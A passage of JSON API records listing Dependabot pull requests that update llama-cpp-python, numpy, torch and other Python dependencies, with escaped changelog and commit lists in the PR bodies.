href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f1bfa117410fbd75ad6a2345a65cdf9b17205c19\"\u003e\u003ccode\u003ef1bfa11\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.25 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2243\"\u003e#2243\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4b66c45ebc2065798f68f531376a7a60c92f942d\"\u003e\u003ccode\u003e4b66c45\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 210a6570c (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/a9b480f8b1ac20279a563d12c5d0f3567c0af960\"\u003e\u003ccode\u003ea9b480f\u003c/code\u003e\u003c/a\u003e feat: add Gemma 4 multimodal chat support (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/927b574ede274d3277ddc1786f0bf25d36e1cd60\"\u003e\u003ccode\u003e927b574\u003c/code\u003e\u003c/a\u003e docs: add Python 3.14 classifier (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2240\"\u003e#2240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/718a1ca5f17522655ae482f182f63ea3ea41d15d\"\u003e\u003ccode\u003e718a1ca\u003c/code\u003e\u003c/a\u003e feat(ci): add CUDA 13 wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/43c92a7fef5cf6588612525e081f39c2adf094ec\"\u003e\u003ccode\u003e43c92a7\u003c/code\u003e\u003c/a\u003e feat(ci): add CUDA 11.8 wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c7af423ea641dd1e5fa316516027f6effc375ef6\"\u003e\u003ccode\u003ec7af423\u003c/code\u003e\u003c/a\u003e fix(ci): add Pascal compute capability targets to CUDA wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/26633bd1a2eaf7fd0567cc5eaec8b0165a7ea0bd\"\u003e\u003ccode\u003e26633bd\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.24 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2236\"\u003e#2236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/20240609f3dcc902dfa0c59b675ad24887bc044c\"\u003e\u003ccode\u003e2024060\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to af6528e6d (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2235\"\u003e#2235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c3adb354e71ec964dd503a5aae81d16ca947e377\"\u003e\u003ccode\u003ec3adb35\u003c/code\u003e\u003c/a\u003e server types: Move 'model' parameter to clarify it is used (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1786\"\u003e#1786\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.16...v0.3.25\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.16\u0026new-version=0.3.25)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/rajamoid123-art/Ai-Voice-Agent/pull/10","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/rajamoid123-art%2FAi-Voice-Agent/issues/10","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/10/packages"}},{"old_version":"\u003c0.4.0,\u003e=0.3.23","new_version":"\u003e=0.3.24,\u003c0.4.0","update_type":"patch","path":null,"pr_created_at":"2026-06-02T04:37:00.000Z","version_change":"\u003c0.4.0,\u003e=0.3.23 → \u003e=0.3.24,\u003c0.4.0","issue":{"uuid":"4568452129","node_id":"PR_kwDOQPBwZM7hom5Z","number":868,"state":"open","title":"deps: update llama-cpp-python requirement from \u003c0.4.0,\u003e=0.3.23 to \u003e=0.3.24,\u003c0.4.0","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-02T04:37:00.000Z","updated_at":"2026-06-02T05:21:52.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps: update","packages":[{"name":"llama-cpp-python","old_version":"\u003c0.4.0,\u003e=0.3.23","new_version":"\u003e=0.3.24,\u003c0.4.0","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/26633bd1a2eaf7fd0567cc5eaec8b0165a7ea0bd\"\u003e\u003ccode\u003e26633bd\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.24 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2236\"\u003e#2236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/20240609f3dcc902dfa0c59b675ad24887bc044c\"\u003e\u003ccode\u003e2024060\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to af6528e6d (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2235\"\u003e#2235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c3adb354e71ec964dd503a5aae81d16ca947e377\"\u003e\u003ccode\u003ec3adb35\u003c/code\u003e\u003c/a\u003e server types: Move 'model' parameter to clarify it is used (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1786\"\u003e#1786\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/52cf7475f987f08f18dc5748f601b32e7b603ffe\"\u003e\u003ccode\u003e52cf747\u003c/code\u003e\u003c/a\u003e docs: update ROCm install instructions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/da07e463e19913071e5e9ea1d7c05b97c5531fa0\"\u003e\u003ccode\u003eda07e46\u003c/code\u003e\u003c/a\u003e docs: update llama.cpp build docs link (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/868712246065f6c52cd4b050474d51ed352c1398\"\u003e\u003ccode\u003e8687122\u003c/code\u003e\u003c/a\u003e docs: fix NanoLlava chat handler name in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e3aa6b5cde98e8b719aaa3bbab31a5ed72cd6805\"\u003e\u003ccode\u003ee3aa6b5\u003c/code\u003e\u003c/a\u003e docs: fix typo in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/cdb7a755c63dce6f2bc31cfbcfee269e7fcb67c7\"\u003e\u003ccode\u003ecdb7a75\u003c/code\u003e\u003c/a\u003e fix: clear prompt for recurrent / hybrid models when only a partial prefix ma...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/73ee7cd5671c07be371447ce2a1d648de0aab775\"\u003e\u003ccode\u003e73ee7cd\u003c/code\u003e\u003c/a\u003e fix(docs): remove double word typo in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1791\"\u003e#1791\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/33bf9d2480351d28d4a5e21626bf29f35a2e9838\"\u003e\u003ccode\u003e33bf9d2\u003c/code\u003e\u003c/a\u003e fix: correct typo in comments and settings description (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2121\"\u003e#2121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.23...v0.3.24\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/chipi/podcast_scraper/pull/868","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/chipi%2Fpodcast_scraper/issues/868","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/868/packages"}},{"old_version":"0.3.21","new_version":"0.3.23","update_type":"patch","path":null,"pr_created_at":"2026-05-18T00:31:40.000Z","version_change":"0.3.21 → 0.3.23","issue":{"uuid":"4465448707","node_id":"PR_kwDOSR6pxs7cdydJ","number":8,"state":"closed","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 6 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-06-08T00:14:59.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-18T00:31:40.000Z","updated_at":"2026-06-08T00:15:01.000Z","time_to_close":1813399,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":6,"packages":[{"name":"numpy","old_version":"2.4.4","new_version":"2.4.5","repository_url":"https://github.com/numpy/numpy"},{"name":"torch","old_version":"2.11.0","new_version":"2.12.0","repository_url":"https://github.com/pytorch/pytorch"},{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.23","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ruff","old_version":"0.15.12","new_version":"0.15.13","repository_url":"https://github.com/astral-sh/ruff"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.37","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 6 updates in the /backend directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [numpy](https://github.com/numpy/numpy) | `2.4.4` | `2.4.5` |\n| [torch](https://github.com/pytorch/pytorch) | `2.11.0` | `2.12.0` |\n| [onnxruntime](https://github.com/microsoft/onnxruntime) | `1.25.1` | `1.26.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.3.21` | `0.3.23` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.15.12` | `0.15.13` |\n| [ty](https://github.com/astral-sh/ty) | `0.0.34` | `0.0.37` |\n\n\nUpdates `numpy` from 2.4.4 to 2.4.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/numpy/numpy/releases\"\u003enumpy's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.5 (May 15, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.5 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.5 is a patch release that fixes bugs discovered after the 2.4.4\nrelease, has some typing improvements, and maintains infrastructure.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 17 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAleksei Nikiforov\u003c/li\u003e\n\u003cli\u003eAnarion Zuo +\u003c/li\u003e\n\u003cli\u003eAnkit Ahlawat\u003c/li\u003e\n\u003cli\u003eBreno Favaretto +\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eIgor Krivenko +\u003c/li\u003e\n\u003cli\u003eIjtihed Kilani +\u003c/li\u003e\n\u003cli\u003eJoren Hammudoglu\u003c/li\u003e\n\u003cli\u003eMaarten Baert +\u003c/li\u003e\n\u003cli\u003eMatti Picus\u003c/li\u003e\n\u003cli\u003eNathan Goldbaum\u003c/li\u003e\n\u003cli\u003ePraneeth Kodumagulla +\u003c/li\u003e\n\u003cli\u003eRalf Gommers\u003c/li\u003e\n\u003cli\u003eRoomWithOutRoof +\u003c/li\u003e\n\u003cli\u003eSebastian Berg\u003c/li\u003e\n\u003cli\u003eWarren Weckesser\u003c/li\u003e\n\u003cli\u003ediv +\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePull requests merged\u003c/h2\u003e\n\u003cp\u003eA total of 28 pull requests were merged for this release.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31093\"\u003e#31093\u003c/a\u003e: MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31182\"\u003e#31182\u003c/a\u003e: TYP: fix \u003ccode\u003enp.shape\u003c/code\u003e assignability issue for python lists (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31171\"\u003e#31171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31197\"\u003e#31197\u003c/a\u003e: ENH: Return rank 0 for empty matrices in matrix_rank (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/30422\"\u003e#30422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31198\"\u003e#31198\u003c/a\u003e: CI/BUG: add native jobs for s390x, fix bug in \u003ccode\u003epack_inner\u003c/code\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31199\"\u003e#31199\u003c/a\u003e: BUG: f2py map complex_long_double to NPY_CLONGDOUBLE\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31205\"\u003e#31205\u003c/a\u003e: MAINT: f2py: Stop setting re._MAXCACHE to 50.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31206\"\u003e#31206\u003c/a\u003e: BUG: fix heap buffer overflow in timedelta to string casts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31207\"\u003e#31207\u003c/a\u003e: MAINT: Rename ppc64le and s390x workflow (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31121\"\u003e#31121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31208\"\u003e#31208\u003c/a\u003e: BUG: Fix matvec/vecmat in-place aliasing (out=input produces...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31209\"\u003e#31209\u003c/a\u003e: TYP: \u003ccode\u003etile\u003c/code\u003e: accept numpy scalars and arrays as second argument...\u003c/li\u003e\n\u003cli\u003e\u003ca 